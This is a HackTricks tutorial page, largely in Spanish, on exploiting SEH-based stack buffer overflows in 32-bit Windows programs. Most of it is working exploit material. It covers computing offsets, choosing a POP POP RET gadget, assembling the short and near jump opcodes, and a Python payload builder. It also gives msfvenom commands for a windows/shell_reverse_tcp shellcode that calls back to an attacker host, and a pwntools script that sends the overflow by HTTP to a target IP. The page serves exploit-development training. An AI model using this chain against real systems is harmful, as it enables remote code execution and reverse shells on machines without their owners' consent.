Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
Reading time: 7 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
SEH-based exploitation es una técnica clásica de Windows x86 que abusa del Structured Exception Handler chain almacenado en la pila. Cuando un overflow de buffer en la pila sobrescribe los dos campos de 4 bytes
- nSEH: pointer to the next SEH record, and
- SEH: pointer to the exception handler function
un atacante puede tomar el control de la ejecución mediante:
- Establecer SEH a la dirección de un POP POP RET gadget en un módulo no protegido, de modo que cuando se despache una excepción el gadget haga return hacia bytes controlados por el atacante, y
- Usar nSEH para redirigir la ejecución (típicamente un salto corto) de vuelta al gran buffer desbordado donde reside el shellcode.
Esta técnica es específica de procesos de 32 bits (x86). En sistemas modernos, prefiera un módulo sin SafeSEH y ASLR para el gadget. Los caracteres problemáticos suelen incluir 0x00, 0x0a, 0x0d (NUL/CR/LF) debido a C-strings y al parsing HTTP.
Finding exact offsets (nSEH / SEH)
- Crash the process and verify the SEH chain is overwritten (e.g., in x32dbg/x64dbg, check the SEH view).
- Send a cyclic pattern as the overflowing data and compute offsets of the two dwords that land in nSEH and SEH.
Example with peda/GEF/pwntools on a 1000-byte POST body:
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"
# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# ➜ offsets example: nSEH=660, SEH=664
Valida colocando marcadores en esas posiciones (p. ej., nSEH=b"BB", SEH=b"CC"). Mantén la longitud total constante para que el crash sea reproducible.
Elegir un POP POP RET (SEH gadget)
Necesitas una secuencia POP POP RET para desempilar el frame SEH y regresar a tus bytes nSEH. Búscalo en un módulo sin SafeSEH y, idealmente, sin ASLR:
- Mona (Immunity/WinDbg):
!mona modules
luego!mona seh -m modulename
. - x64dbg plugin ERC.Xdbg:
ERC --SEH
para listar POP POP RET gadgets y el estado de SafeSEH.
Elige una dirección que no contenga badchars cuando se escriba en little-endian (p. ej., p32(0x004094D8)
). Prefiere gadgets dentro del binario vulnerable si las protecciones lo permiten.
Técnica de salto hacia atrás (short + near jmp)
nSEH solo tiene 4 bytes, lo que admite como máximo un short jump de 2 bytes (EB xx
) más relleno. Si necesitas saltar hacia atrás cientos de bytes para alcanzar el inicio de tu buffer, usa un near jump de 5 bytes colocado justo antes de nSEH y encadénalo hacia él con un short jump desde nSEH.
Con nasmshell:
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
Idea de diseño para un payload de 1000 bytes con nSEH en offset 660:
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))
Flujo de ejecución:
- Ocurre una excepción, el dispatcher usa el SEH sobrescrito.
- POP POP RET desenrolla hacia nuestro nSEH.
- nSEH ejecuta
jmp short -8
hacia el near jump de 5 bytes. - El Near jump aterriza al inicio de nuestro buffer donde residen el NOP sled + shellcode.
Caracteres malos
Construye una cadena completa de badchars y compara la memoria de la pila después del crash, eliminando los bytes que son corrompidos por el parser objetivo. Para overflows basados en HTTP, \x00\x0a\x0d
casi siempre están excluidos.
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
Generación de shellcode (x86)
Usa msfvenom con tus badchars. Un pequeño NOP sled ayuda a tolerar la variación del punto de aterrizaje.
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
Si se genera sobre la marcha, el formato hex es conveniente para embed y unhex en Python:
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
Entrega vía HTTP (CRLF preciso + Content-Length)
Cuando el vector vulnerable es el cuerpo de una solicitud HTTP, construye una petición raw con CRLFs exactos y Content-Length para que el servidor lea todo el cuerpo que desborda.
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000 # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close
""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()
Herramientas
- x32dbg/x64dbg para observar la cadena SEH y triagear el crash.
- ERC.Xdbg (x64dbg plugin) para enumerar SEH gadgets:
ERC --SEH
. - Mona como alternativa:
!mona modules
,!mona seh
. - nasmshell para ensamblar short/near jumps y copiar raw opcodes.
- pwntools para crear payloads de red precisos.
Notas y advertencias
- Solo aplica a procesos x86. x64 usa un esquema de SEH diferente y la explotación basada en SEH generalmente no es viable.
- Preferir gadgets en módulos sin SafeSEH y ASLR; de lo contrario, encontrar un módulo no protegido cargado en el proceso.
- Los watchdogs de servicio (service watchdogs) que reinician automáticamente tras un crash pueden facilitar el desarrollo iterativo del exploit.
Referencias
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)
- Corelan – Exploit writing tutorial part 7 (SEH)
- Mona.py – WinDbg/Immunity helper
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.